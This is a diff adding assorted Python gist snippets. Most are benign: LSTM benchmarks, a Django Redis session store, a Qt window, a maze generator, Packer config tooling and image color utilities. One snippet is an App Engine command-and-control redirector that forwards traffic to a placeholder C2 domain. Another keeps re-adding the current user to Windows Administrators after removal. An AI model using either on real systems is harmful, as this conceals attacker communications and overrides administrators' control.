+    cell2 = LSTMCell(output_dim, hidden_dim, initializer=initializer)
+    initial_state2 = cell2.zero_state(batch_size, tf.float32)
+    outputs2, states2 = rnn.rnn(cell2, outputs1, initial_state=initial_state2,
+                                sequence_length=early_stop, scope="RNN2")
+
+# Create initialize op, this needs to be run by the session!
+iop = tf.initialize_all_variables()
+
+# Create session with device logging
+session = tf.Session(
+    config=tf.ConfigProto(log_device_placement=log_device_placement))
+
+# Actually initialize, if you don't do this you get errors about uninitialized
+session.run(iop)
+
+# First call to session has overhead? lets get that cleared out
+t1 = time.time()
+feed = {early_stop: 2,
+        seq_input: np.random.rand(
+            n_steps, batch_size, input_dim).astype('float32')}
+outs = session.run(outputs2, feed_dict=feed)
+t2 = time.time()
+print("Time for first call to session.run %f" % (t2 - t1))
+
+for e_s in [10, 50, 100, 150, 200, 250]:
+    feed = {early_stop: e_s,
+            seq_input: np.random.rand(
+                n_steps, batch_size, input_dim).astype('float32')}
+    t1 = time.time()
+    #  Early_stop can be varied, but seq_input needs to match the earlier shape
+    outs = session.run(outputs2, feed_dict=feed)
+    t2 = time.time()
+    #  Output is a list, each item being a single timestep.
+    #  Items at t>early_stop are all 0s
+    print("Time for %i: %f" % (e_s, t2 - t1))
\ No newline at end of file
diff --git a/hard-gists/90fe4a3bc0caa582fc563ec503e5444c/._snippet.py b/hard-gists/90fe4a3bc0caa582fc563ec503e5444c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/90fe4a3bc0caa582fc563ec503e5444c/._snippet.py differ
diff --git a/hard-gists/90fe4a3bc0caa582fc563ec503e5444c/snippet.py b/hard-gists/90fe4a3bc0caa582fc563ec503e5444c/snippet.py
new file mode 100644
index 00000000..3f8437d6
--- /dev/null
+++ b/hard-gists/90fe4a3bc0caa582fc563ec503e5444c/snippet.py
@@ -0,0 +1,50 @@
+import logging
+import urllib
+
+import webapp2
+import urllib2
+
+# v1.0.1 - updated to support POST request
+
+# change to your IP
+redirector = "(insert you C2 domain here)"
+
+class CommandControl(webapp2.RequestHandler):
+    def get(self, data):
+        url = 'https://'+redirector+'/'+str(data)
+        try:
+            req = urllib2.Request(url)
+            req.add_header('User-Agent',"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko")
+            for key, value in self.request.headers.iteritems():
+                req.add_header(str(key), str(value))
+
+            resp = urllib2.urlopen(req)
+            content = resp.read()
+
+            self.response.write(content)
+        except urllib2.URLError:
+            "Caught Exception, did nothing"
+    
+	# handle a POST request
+    def post(self, data):
+        url = 'https://'+redirector+'/'+str(data)
+        try:
+            req = urllib2.Request(url)
+            req.add_header('User-Agent',"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko")
+            for key, value in self.request.headers.iteritems():
+                req.add_header(str(key), str(value))
+
+            # this passes on the data from CB
+            req.data = self.request.body
+
+            resp = urllib2.urlopen(req)
+            content = resp.read()
+
+            self.response.write(content)
+        except urllib2.URLError:
+            "Caught Exception, did nothing"
+
+app = webapp2.WSGIApplication([
+    (r"/(.+)", CommandControl)
+], debug=True)
+
diff --git a/hard-gists/910392/._snippet.py b/hard-gists/910392/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/910392/._snippet.py differ
diff --git a/hard-gists/910392/snippet.py b/hard-gists/910392/snippet.py
new file mode 100644
index 00000000..505b7b4a
--- /dev/null
+++ b/hard-gists/910392/snippet.py
@@ -0,0 +1,69 @@
+from django.contrib.sessions.backends.base import SessionBase, CreateError
+from django.conf import settings
+from django.utils.encoding import force_unicode
+import redis
+
+class SessionStore(SessionBase):
+    """ Redis store for sessions"""
+
+    def __init__(self, session_key=None):
+        self.redis = redis.Redis(
+            host = settings.SESSION_REDIS_HOST,
+            port = settings.SESSION_REDIS_PORT,
+            socket_timeout = settings.REDIS_SOCKET_TIMEOUT
+        )
+        super(SessionStore, self).__init__(session_key)
+
+    @classmethod
+    def _get_key_for_redis(self, session_key):
+        return 'sessionstore:%s' % session_key
+
+    def _redis_key(self):
+        return self.__class__._get_key_for_redis(self.session_key)
+
+    def load(self):
+        session_data = self.redis.get(self._redis_key())
+        if session_data is not None:
+            return self.decode(force_unicode(session_data))
+        else:
+            self.create()
+            return {}
+
+    def create(self):
+        max_attempts = 10
+        attempt = 0
+        while True:
+            self.session_key = self._get_new_session_key()
+            session_dict = self._get_session(no_load = True)
+            session_data = self.encode(session_dict)
+
+            was_created = self.redis.setnx(self._redis_key(), 
+                                           session_data)
+            if was_created:
+                self.redis.expire(self._redis_key(),
+                                  settings.SESSION_COOKIE_AGE)
+                self.modified = True
+                self._session_cache = session_dict
+                return
+            else:
+                # extremely unlikely
+                if attempt == max_attempts:
+                    raise CreateError
+                else:
+                    attempt += 1
+                    continue
+
+    def save(self, must_create=False):
+        if must_create:
+            self.create()
+        else:
+            encoded_data = self.encode(self._session)
+            self.redis.setex(self._redis_key(), encoded_data, settings.SESSION_COOKIE_AGE)
+
+    def exists(self, session_key):
+        return self.redis.exists(self.__class__._get_key_for_redis(session_key))
+
+    def delete(self, session_key=None):
+        to_delete = (session_key or self.session_key)
+        redis_key = self.__class__._get_key_for_redis(to_delete)
+        self.redis.delete(redis_key)
diff --git a/hard-gists/910726/._snippet.py b/hard-gists/910726/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/910726/._snippet.py differ
diff --git a/hard-gists/910726/snippet.py b/hard-gists/910726/snippet.py
new file mode 100644
index 00000000..448bfe53
--- /dev/null
+++ b/hard-gists/910726/snippet.py
@@ -0,0 +1,22 @@
+#This is a little example of how to make a PUT request (see  http://microformats.org/wiki/rest/urls )
+#To a API written with tastypie (https://github.com/toastdriven/django-tastypie )
+
+# import the standard JSON parser
+import json
+# import the REST library (from http://code.google.com/p/python-rest-client/)
+from restful_lib import Connection
+
+#site url 
+base_url = "http://IP/api/v1"
+conn = Connection(base_url)
+
+#get the global config dict
+globalconfig = conn.request_get('/globalconfig/')
+globalconfig = json.loads(globalconfig["body"])
+globalconfig = globalconfig["objects"][0]
+
+#set the args
+globalconfig["sfftrim"] = True
+
+#make the put REST request to update the resource
+result = conn.request_put('/globalconfig/1/', body=json.dumps(globalconfig), headers={'content-type':'application/json'})
\ No newline at end of file
diff --git a/hard-gists/9110299/._snippet.py b/hard-gists/9110299/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9110299/._snippet.py differ
diff --git a/hard-gists/9110299/snippet.py b/hard-gists/9110299/snippet.py
new file mode 100644
index 00000000..5dbe1871
--- /dev/null
+++ b/hard-gists/9110299/snippet.py
@@ -0,0 +1,94 @@
+# coding=utf-8
+"""
+"""
+__author__ = 'Alisue <lambdalisue@hashnote.net>'
+try:
+    from PySide import QtCore
+    from PySide import QtGui
+except ImportError:
+    from PyQt4 import QtCore
+    from PyQt4 import QtGui
+
+
+def hex2QColor(c):
+    """Convert Hex color to QColor"""
+    r=int(c[0:2],16)
+    g=int(c[2:4],16)
+    b=int(c[4:6],16)
+    return QtGui.QColor(r,g,b)
+
+
+class RoundedWindow(QtGui.QWidget):
+    def __init__(self, parent=None):
+        super(RoundedWindow, self).__init__(parent)
+
+        # make the window frameless
+        self.setWindowFlags(QtCore.Qt.FramelessWindowHint)
+        self.setAttribute(QtCore.Qt.WA_TranslucentBackground)
+
+        self.backgroundColor = hex2QColor("efefef")
+        self.foregroundColor = hex2QColor("333333")
+        self.borderRadius = 5
+        self.draggable = True
+        self.dragging_threshould = 5
+        self.__mousePressPos = None
+        self.__mouseMovePos = None
+
+        layout = QtGui.QVBoxLayout(self)
+        layout.setContentsMargins(0, 0, 0, 0)
+        layout.setSpacing(0)
+        layout.addWidget(QtGui.QSizeGrip(self), 0,
+                         QtCore.Qt.AlignBottom | QtCore.Qt.AlignRight)
+
+        self.setMinimumSize(320, 240)
+
+    def paintEvent(self, event):
+        # get current window size
+        s = self.size()
+        qp = QtGui.QPainter()
+        qp.begin(self)
+        qp.setRenderHint(QtGui.QPainter.Antialiasing, True)
+        qp.setPen(self.foregroundColor)
+        qp.setBrush(self.backgroundColor)
+        qp.drawRoundedRect(0, 0, s.width(), s.height(),
+                           self.borderRadius, self.borderRadius)
+        qp.end()
+
+    def mousePressEvent(self, event):
+        if self.draggable and event.button() == QtCore.Qt.LeftButton:
+            self.__mousePressPos = event.globalPos()                # global
+            self.__mouseMovePos = event.globalPos() - self.pos()    # local
+        super(RoundedWindow, self).mousePressEvent(event)
+
+    def mouseMoveEvent(self, event):
+        if self.draggable and event.buttons() & QtCore.Qt.LeftButton:
+            globalPos = event.globalPos()
+            moved = globalPos - self.__mousePressPos
+            if moved.manhattanLength() > self.dragging_threshould:
+                # move when user drag window more than dragging_threshould
+                diff = globalPos - self.__mouseMovePos
+                self.move(diff)
+                self.__mouseMovePos = globalPos - self.pos()
+        super(RoundedWindow, self).mouseMoveEvent(event)
+
+    def mouseReleaseEvent(self, event):
+        if self.__mousePressPos is not None:
+            if event.button() == QtCore.Qt.LeftButton:
+                moved = event.globalPos() - self.__mousePressPos
+                if moved.manhattanLength() > self.dragging_threshould:
+                    # do not call click event or so on
+                    event.ignore()
+                self.__mousePressPos = None
+        super(RoundedWindow, self).mouseReleaseEvent(event)
+
+        # close event
+        if event.button() == QtCore.Qt.RightButton:
+            QtGui.qApp.exit()
+
+
+if __name__ == '__main__':
+    import sys
+    app = QtGui.QApplication(sys.argv)
+    main = RoundedWindow()
+    main.show()
+    sys.exit(app.exec_())
diff --git a/hard-gists/9132441/._snippet.py b/hard-gists/9132441/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9132441/._snippet.py differ
diff --git a/hard-gists/9132441/Dockerfile-llm-3.8 b/hard-gists/9132441/Dockerfile-llm-3.8
new file mode 100644
index 00000000..0d81d97f
--- /dev/null
+++ b/hard-gists/9132441/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","scene==0.0.1"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/9132441/modules/scene_3.8.txt b/hard-gists/9132441/modules/scene_3.8.txt
new file mode 100644
index 00000000..8a9ecc2e
--- /dev/null
+++ b/hard-gists/9132441/modules/scene_3.8.txt
@@ -0,0 +1 @@
+0.0.1
\ No newline at end of file
diff --git a/hard-gists/9132441/snippet.py b/hard-gists/9132441/snippet.py
new file mode 100644
index 00000000..a09b72e9
--- /dev/null
+++ b/hard-gists/9132441/snippet.py
@@ -0,0 +1,213 @@
+from scene import *
+from random import choice
+
+def opposite(d):
+	return (d[0]*-1, d[1]*-1)
+	
+def sub_tuples(a, b):
+	return (a[0]-b[0], a[1]-b[1])
+	
+def add_tuples(a, b):
+	return (a[0]+b[0], a[1]+b[1])
+
+NORTH = (0, 1)
+EAST = (1, 0)
+SOUTH = opposite(NORTH)
+WEST = opposite(EAST)
+
+dirs = [WEST, SOUTH, EAST, NORTH]
+
+class Cell (object):
+	def __init__(self, x, y, size):
+		self.x = x
+		self.y = y
+		self.location = (x, y)
+		self.size = size
+		self.visited = False
+		self.visits = 0
+		self.neighbors = []
+		self.walls = {}
+		self.rect = Rect(x*self.size.w, y*self.size.h, *size)
+		self.colr = Color(0,0,0)
+		left = self.rect.left()
+		right = self.rect.right()
+		bottom = self.rect.bottom()
+		top = self.rect.top()
+		self.lines = {NORTH:(left, top, right, top), SOUTH:(left, bottom, right, bottom),
+		                   EAST:(right, bottom, right, top), WEST:(left, bottom, left, top)}
+		
+	def unvisited_neighbors(self):
+		return [c for c in self.neighbors if not c.visited]
+		
+	def visited_neighbors(self):
+		return [c for c in self.neighbors if c.visited]
+		
+	def draw(self):
+		no_stroke()
+		fill(*self.colr)
+		rect(*self.rect)
+		stroke(0.00, 1.00, 0.00)
+		stroke_weight(1)
+		for wall in self.walls:
+			d = sub_tuples(wall, self.location)
+			if self.walls[wall]:
+				line(*self.lines[d])
+				
+				
+class Maze (Scene):
+	def __init__(self, w, h):
+		self.grid_size = Size(w, h)
+	
+	def setup(self):
+		cell_size = Size(self.size.w/self.grid_size.w, self.size.h/self.grid_size.h)
+		self.cells = [[Cell(x, y, cell_size) for x in xrange(self.grid_size.w)] for y in xrange(self.grid_size.h)]
+		
+		self.start = self.cells[-1][0]
+		self.finish = self.cells[0][-1]
+		self.current_cell = self.finish
+		self.current_cell.visited = True
+		
+		#for use with creation algorithm
+		self.maze_created = False
+		self.hunt_mode = False 
+		self.row = []
+		################################
+		
+		self.path = [self.current_cell]
+		self.backtrack = [self.start]
+		self.user_path = [self.start]
+		self.solution = [self.start]
+		
+		# for use with wall-follower
+		self.current_dir = EAST
+		self.dir_priority = {NORTH:[WEST, NORTH, EAST, SOUTH], SOUTH:[EAST, SOUTH, WEST, NORTH],
+		                EAST:[NORTH, EAST, SOUTH, WEST], WEST:[SOUTH, WEST, NORTH, EAST]}
+		############################
+		
+		self.current_solver = self.wall_follower
+		
+		self.init_cells()
+		
+	def init_cells(self):
+		w, h = self.grid_size
+		for row in self.cells:
+			for cell in row:
+				for d in dirs:
+					x, y = add_tuples(cell.location, d)
+					if x>=0 and x<w and y>=0 and y<h:
+						cell.neighbors.append(self.cells[y][x])
+					cell.walls[(x, y)] = 1
+					
+	def reset(self):
+		self.current_cell = self.finish
+		self.path = []
+		self.user_path = []
+		self.backtrack = []
+		for row in self.cells:
+			for cell in row:
+				cell.visited = False
+				cell.visits = 0
+				for wall in cell.walls:
+					cell.walls[wall] = 1
+					
+	def unvisited_cells(self):
+		return [c for row in self.cells for c in row if not c.visited]
+					
+	def walk(self, cell):
+		cell.visited = True
+		cell.walls[self.current_cell.location] = 0
+		self.current_cell.walls[cell.location] = 0
+		self.current_cell = cell
+		self.path.append(cell)
+		
+	def hunt(self):
+		for row in self.cells:
+			for cell in row:
+				if not cell.visited and len(cell.visited_neighbors()) > 0:
+					self.row = row
+					self.current_cell = choice(cell.visited_neighbors())
+					
+	def depth_first_search(self):
+		if len(self.unvisited_cells()) > 0 and self.current_cell != self.finish:
+			available_neighbors = [c for c in self.current_cell.unvisited_neighbors() if not self.current_cell.walls[c.location]]
+			if len(available_neighbors) > 0:
+				self.backtrack.append(self.current_cell)
+				for d in dirs:
+					x, y = add_tuples(d, self.current_cell.location)
+					if not self.current_cell.walls[(x, y)]:
+						if self.cells[y][x] in available_neighbors:
+							next_cell = self.cells[y][x]
+				next_cell.visited = True
+				self.current_cell.visited = True
+				self.current_cell = next_cell
+				self.backtrack.append(next_cell)
+			else: 
+				self.current_cell = self.backtrack.pop(-1)
+					
+	def wall_follower(self):
+		if len(self.unvisited_cells()) > 0 and self.current_cell != self.finish:
+			available_neighbors = [c for c in self.current_cell.neighbors if not self.current_cell.walls[c.location]]
+			if len(available_neighbors) > 0:
+				for d in self.dir_priority[self.current_dir]:
+					x, y = add_tuples(d, self.current_cell.location)
+					if x in range(self.grid_size.w) and y in range(self.grid_size.h):
+						if self.cells[y][x] in available_neighbors:
+							self.current_dir = d
+							next_cell = self.cells[y][x]
+							next_cell.visited = True
+							self.current_cell.visited = True
+							self.current_cell = next_cell
+							self.backtrack.append(self.current_cell)
+
+	def draw(self):
+		background(0, 0, 0)
+		for row in self.cells:
+			for cell in row:
+				if cell == self.start:
+					cell.colr = Color(0.00, 0.50, 0.00)
+				elif cell == self.finish:
+					cell.colr = Color(1.00, 0.00, 0.00)
+				elif cell == self.current_cell:
+					cell.colr = Color(0.00, 0.00, 1.00)
+				elif self.hunt_mode and self.row==row:
+					cell.colr = Color(0.40, 1.00, 0.40)
+				elif cell in self.solution and self.maze_created:
+					cell.colr = Color(0.00, 1.00, 0.00)
+				elif cell in self.backtrack and self.current_solver != self.wall_follower:
+					cell.colr = Color(1.00, 1.00, 0.00)
+				elif cell.visited:
+					cell.colr = Color(0.00, 0.25, 0.50)
+				else: 
+					cell.colr = Color(0.00, 0.00, 0.00)
+				cell.draw()
+		
+		if self.maze_created:
+			for touch in self.touches.values():
+				if touch.location.y > self.size.h*0.5:
+					self.current_solver = self.wall_follower
+				elif touch.location.y < self.size.h*0.5:
+					self.current_solver = self.depth_first_search
+				self.current_solver()
+					
+		if len(self.touches) == 3:
+			self.maze_created = False
+			self.reset()
+
+		if len(self.unvisited_cells()) > 0 and not self.maze_created:
+			if len(self.current_cell.unvisited_neighbors()) > 0:
+				self.hunt_mode = False 
+				next_cell = choice(self.current_cell.unvisited_neighbors())
+				self.walk(next_cell)
+			elif len(self.current_cell.unvisited_neighbors()) == 0:
+				self.hunt_mode = True
+				self.hunt()
+				
+		elif len(self.unvisited_cells()) == 0:
+			if not self.maze_created:
+				self.current_cell = self.start
+				for row in self.cells:
+					for cell in row:
+						cell.visited = False
+				self.maze_created = True
+
+run(Maze(15, 15))
diff --git a/hard-gists/91334d590b6592c0c960/._snippet.py b/hard-gists/91334d590b6592c0c960/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/91334d590b6592c0c960/._snippet.py differ
diff --git a/hard-gists/91334d590b6592c0c960/snippet.py b/hard-gists/91334d590b6592c0c960/snippet.py
new file mode 100644
index 00000000..aaa9002d
--- /dev/null
+++ b/hard-gists/91334d590b6592c0c960/snippet.py
@@ -0,0 +1,78 @@
+import datetime
+import six
+
+from django.contrib.gis.geos import Point, MultiPoint
+
+from haystack import indexes
+from haystack.exceptions import SpatialError, SearchFieldError
+from haystack.utils.geo import ensure_geometry, ensure_point
+
+def ensure_multipoint(geom):
+    """
+    Makes sure the parameter passed in looks like a GEOS ``MultiPoint``.
+    """
+    ensure_geometry(geom)
+
+    if geom.geom_type != 'MultiPoint':
+        raise SpatialError("Provided geometry '%s' is not a 'MultiPoint'." % geom)
+
+    return geom
+
+
+class MultiLocationField(indexes.SearchField):
+    '''
+    A field for specifying multiple locations for a single document.
+    Spatial queries will include the document if any of the points in 
+    the MultiPointField match the query.
+    
+    Input can be a MultiPoint GEOS geometry object, an array of Point GEOS geometry objects,
+    or a sequence of any representation of a Point object recognized by the built-in LocationField
+    ((lat,long) tuples, {"lat": lat, "long": long} dictionary, or "lat,long" string.)
+    
+    Works with elasticsearch backend for sure. Haven't tested with other backends.
+    '''
+    field_type = 'location'
+
+    def __init__(self, **kwargs):
+    
+        super(MultiLocationField, self).__init__(**kwargs)
+        self.is_multivalued = True
+
+    def prepare(self, obj):
+
+        value = super(MultiPointField, self).prepare(obj)
+
+        if value is None:
+            return None
+
+        return ['{0},{1}'.format(point.y, point.x) for point in value]
+
+    def convert(self, value):
+
+        if value is None:
+            return None
+
+        if hasattr(value, 'geom_type'):
+            value = ensure_multipoint(value)
+            value = [Point(coord[0], coord[1]) for coord in value.coords]
+            return value
+
+        for point in value:
+
+            # Essentially copied from LocatonField. Probably not the DRYest code
+            if hasattr(point, 'geom_type'):
+                point = ensure_point(value)
+                continue
+
+            if isinstance(point, six.string_types):
+                lat, lng = point.split(',')
+            elif isinstance(point, (list, tuple)):
+                # GeoJSON-alike
+                lat, lng = point[1], point[0]
+            elif isinstance(point, dict):
+                lat = point.get('lat', 0)
+                lng = point.get('lon', 0)
+
+            point = Point(float(lng), float(lat))
+
+        return value
\ No newline at end of file
diff --git a/hard-gists/915335/._snippet.py b/hard-gists/915335/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/915335/._snippet.py differ
diff --git a/hard-gists/915335/snippet.py b/hard-gists/915335/snippet.py
new file mode 100644
index 00000000..f32c5e42
--- /dev/null
+++ b/hard-gists/915335/snippet.py
@@ -0,0 +1,27 @@
+import ctypes
+import win32net, win32api
+import time
+
+current_user = win32api.GetUserNameEx(2)
+data = [{"domainandname": current_user}]
+
+def get_members(group_name):
+	members = win32net.NetLocalGroupGetMembers(None, group_name, 3)[0]
+	print members
+	return [x['domainandname'].lower() for x in members]
+
+def is_user_in_group(username, groupname):
+	return username.lower() in get_members(groupname)
+
+print 'checking if current user %s has admin rights' % (current_user,)
+while True:
+	if (is_user_in_group(current_user, 'Administrators')):
+		pass # user is already an admin
+	else:
+		print 'User has been removed from local administrators. Re-adding'
+		if (not is_user_in_group(current_user, 'Administrators')):
+			win32net.NetLocalGroupAddMembers(None, 'Administrators', 3, data)
+			print 'SUCCESS'
+		else:
+			print 'FAILED'
+	time.sleep(10)
diff --git a/hard-gists/9160719/._snippet.py b/hard-gists/9160719/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9160719/._snippet.py differ
diff --git a/hard-gists/9160719/snippet.py b/hard-gists/9160719/snippet.py
new file mode 100644
index 00000000..f31d0599
--- /dev/null
+++ b/hard-gists/9160719/snippet.py
@@ -0,0 +1,110 @@
+#!/usr/bin/python
+#
+# Usage: packer-config my-template.yaml | packer build -
+#
+# Constructs a Packer JSON configuration file from the specified YAML
+# template file and writes it to STDOUT.
+# 
+# The YAML template format adds some flexibility and readability by
+# adding comments and an !include directive, allowing for the
+# following template syntax:
+# 
+#     variables:
+#      - ssh_user: ubuntu
+#      - ssh_pass: ubuntu
+#      - hostname: host
+#     builders:
+#      - !include build/ubuntu-12.04.kvm.yaml
+#      - !include build/ubuntu-12.04.ami.yaml
+#     provisioners:
+#      - !include provision/ubuntu-12.04-base.yaml
+#      - !include provision/ops-deploy.yaml
+#      - !include provision/java7.yaml
+#      - type: shell
+#        environment_vars: [ 'HOST_NAME={{user `hostname`}}' ]
+#        script: host/setup.sh
+# 
+# In addition to the !include directive, the resulting YAML is
+# post-processed to flatten lists-of-lists in the top level sections,
+# allowing includes to contain multiple entries (i.e. running two shell
+# scripts in a common provisioner.)
+#
+# Author: jeremy@jongsma.org
+# License: MPLv2
+
+import sys
+import os
+import yaml
+import json
+
+
+class IncludeLoader(yaml.Loader):
+    """
+    Custom YAML loader that adds an !include constructor for including
+    other YAML files relative to the current file being parsed.
+
+    Example:
+
+        section: !include other/file.yaml
+
+    """
+
+    def __init__(self, stream):
+        self._root = os.path.abspath(os.path.split(stream.name)[0])
+        super(IncludeLoader, self).__init__(stream)
+
+    def include(self, node):
+        path = self.construct_scalar(node)
+        filename = path if path[0] == '/' else os.path.join(self._root, path)
+        with open(filename, 'r') as f:
+            return yaml.load(f, IncludeLoader)
+
+IncludeLoader.add_constructor('!include', IncludeLoader.include) 
+
+
+def parse_yaml(template):
+    """
+    Constructs a Packer JSON configuration file from the specified YAML
+    template and returns it as a string.
+
+    The YAML template format adds some flexibility and readability by
+    adding comments and an !include directive, allowing for the
+    following template syntax:
+
+        builders:
+         - !include build/ubuntu-12.04.kvm.yaml
+         - !include build/ubuntu-12.04.ami.yaml
+        provisioners:
+         - !include provision/ubuntu-12.04-base.yaml
+         - !include provision/ops-deploy.yaml
+         - !include provision/java7.yaml
+         - type: shell
+           script: app/setup.sh
+
+    In addition to the !include directive, the resulting YAML is
+    post-processed to flatten lists-of-lists in the top level sections,
+    allowing includes to contain lists of multiple entries (i.e. running
+    two shell scripts in a common provisioner.)
+    """
+    
+    with open(template, 'r') as infile:
+        parsed = yaml.load(infile, IncludeLoader)
+        # Flatten sections to allow including lists of steps in each include
+        for section in ('builders', 'provisioners', 'post-processors'):
+            if section in parsed:
+                parsed[section] = [f for l in [e if isinstance(e, list) else [e]
+                    for e in parsed[section]] for f in l]
+        return json.dumps(parsed)
+
+
+if __name__ == "__main__":
+
+    if len(sys.argv) < 2:
+        sys.stderr.write("ERROR: No template specified")
+        sys.exit(1)
+
+    if not os.path.exists(sys.argv[1]):
+        std.stderr.write("ERROR: Template not found: %s" % sys.argv[1])
+        sys.exit(2)
+
+    sys.stdout.write(parse_yaml(sys.argv[1]))
\ No newline at end of file
diff --git a/hard-gists/918751/._snippet.py b/hard-gists/918751/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/918751/._snippet.py differ
diff --git a/hard-gists/918751/snippet.py b/hard-gists/918751/snippet.py
new file mode 100644
index 00000000..5826e66d
--- /dev/null
+++ b/hard-gists/918751/snippet.py
@@ -0,0 +1,45 @@
+from PIL import Image
+import scipy
+import scipy.cluster
+from pprint import pprint
+
+image = Image.open('logo_newsblur_512.png')
+NUM_CLUSTERS = 15
+
+# Convert image into array of values for each point.
+ar = scipy.misc.fromimage(image)
+shape = ar.shape
+
+# Reshape array of values to merge color bands.
+if len(shape) > 2:
+    ar = ar.reshape(scipy.product(shape[:2]), shape[2])
+
+# Get NUM_CLUSTERS worth of centroids.
+codes, _ = scipy.cluster.vq.kmeans(ar, NUM_CLUSTERS)
+
+# Pare centroids, removing blacks and whites and shades of really dark and really light.
+original_codes = codes
+for low, hi in [(60, 200), (35, 230), (10, 250)]:
+    codes = scipy.array([code for code in codes 
+                         if not ((code[0] < low and code[1] < low and code[2] < low) or
+                                 (code[0] > hi and code[1] > hi and code[2] > hi))])
+    if not len(codes): codes = original_codes
+    else: break
+
+# Assign codes (vector quantization). Each vector is compared to the centroids
+# and assigned the nearest one.
+vecs, _ = scipy.cluster.vq.vq(ar, codes)
+
+# Count occurences of each clustered vector.
+counts, bins = scipy.histogram(vecs, len(codes))
+
+# Show colors for each code in its hex value.
+colors = [''.join(chr(c) for c in code).encode('hex') for code in codes]
+total = scipy.sum(counts)
+color_dist = dict(zip(colors, [count/float(total) for count in counts]))
+pprint(color_dist)
+
+# Find the most frequent color, based on the counts.
+index_max = scipy.argmax(counts)
+peak = codes[index_max]
+color = ''.join(chr(c) for c in peak).encode('hex')
diff --git a/hard-gists/918d4ad7c931bc14b475008c00aa09f1/._snippet.py b/hard-gists/918d4ad7c931bc14b475008c00aa09f1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/918d4ad7c931bc14b475008c00aa09f1/._snippet.py differ
diff --git a/hard-gists/918d4ad7c931bc14b475008c00aa09f1/snippet.py b/hard-gists/918d4ad7c931bc14b475008c00aa09f1/snippet.py
new file mode 100644
index 00000000..a29e0e63
--- /dev/null
+++ b/hard-gists/918d4ad7c931bc14b475008c00aa09f1/snippet.py
@@ -0,0 +1,17 @@
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+from torch.nn.utils.rnn import pad_packed_sequence, pack_padded_sequence
+
+x = Variable(torch.randn(10, 20, 30)).cuda()
+lens = range(10)
+
+x = pack_padded_sequence(x, lens[::-1], batch_first=True)
+
+lstm = nn.LSTM(30, 50, batch_first=True).cuda()
+h0 = Variable(torch.zeros(1, 10, 50)).cuda()
+c0 = Variable(torch.zeros(1, 10, 50)).cuda()
+
+packed_h, (packed_h_t, packed_c_t) = lstm(x, (h0, c0))
+h, _ = pad_packed_sequence(packed_h) 
+print h.size() # Size 20 x 10 x 50 instead of 10 x 20 x 50
\ No newline at end of file
diff --git a/hard-gists/9218791/._snippet.py b/hard-gists/9218791/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9218791/._snippet.py differ
diff --git a/hard-gists/9218791/snippet.py b/hard-gists/9218791/snippet.py
new file mode 100644
index 00000000..aa11ec3d
--- /dev/null
+++ b/hard-gists/9218791/snippet.py
@@ -0,0 +1,125 @@
+#! /usr/bin/env python2
+# Requires: PIL, colormath
+#
+# Improved algorithm now automatically crops the image and uses much 
+# better color matching
+
+from PIL import Image, ImageChops
+from colormath.color_conversions import convert_color
+from colormath.color_objects import LabColor
+from colormath.color_objects import sRGBColor as RGBColor
+from colormath.color_diff import delta_e_cmc as cmc
+import argparse
+import sys
+
+
+ANSI_CODES = (
+    '\033[00;30m',     # black
+    '\033[00;31m',     # red
+    '\033[00;32m',     # green
+    '\033[00;33m',     # yellow
+    '\033[00;34m',     # blue
+    '\033[00;35m',     # magenta
+    '\033[00;36m',     # cyan
+    '\033[00;37m',     # gray
+    '\033[01;30m',   # dark gray
+    '\033[01;31m',   # bright red
+    '\033[01;32m',   # bright green
+    '\033[01;33m',   # bright yellow
+    '\033[01;34m',   # bright blue
+    '\033[01;35m',   # bright magenta
+    '\033[01;36m',   # bright cyan
+    '\033[01;37m',   # white
+)
+ANSI_COLORS = (
+    RGBColor(0, 0, 0),          # black
+    RGBColor(205, 0, 0),        # red
+    RGBColor(0, 205, 0),        # green
+    RGBColor(205, 205, 0),      # yellow
+    RGBColor(0, 0, 238),        # blue
+    RGBColor(205, 0, 205),      # magenta
+    RGBColor(0, 205, 205),      # cyan
+    RGBColor(229, 229, 229),    # gray
+    RGBColor(127, 127, 127),    # dark gray
+    RGBColor(255, 0, 0),        # bright red
+    RGBColor(0, 255, 0),        # bright green
+    RGBColor(255, 255, 0),      # bright yellow
+    RGBColor(92, 92, 255),      # bright blue
+    RGBColor(255, 0, 255),      # bright magenta
+    RGBColor(0, 255, 255),      # bright cyan
+    RGBColor(255, 255, 255),    # white
+)
+ANSI_RESET = '\033[0m'
+INFINITY = float('inf')
+
+
+def closest_ansi_color(color):
+    # Look up the closest ANSI color
+    color = RGBColor(*color[:3])
+    closest_dist = INFINITY
+    closest_color_index = 0
+    for i, c in enumerate(ANSI_COLORS):
+        d = color_distance(c, color)
+        if d < closest_dist:
+            closest_dist = d
+            closest_color_index = i
+    return ANSI_CODES[closest_color_index]
+
+
+def color_distance(c1, c2):
+    # return a value representing a relative distance between two RGB
+    # color values, weighted for human eye sensitivity
+    cl1 = convert_color(c1, LabColor)
+    cl2 = convert_color(c2, LabColor)
+    return cmc(cl1, cl2, pl=1, pc=1)
+    # return (math.pow((c2[0] - c1[0]) * 0.30, 2) +
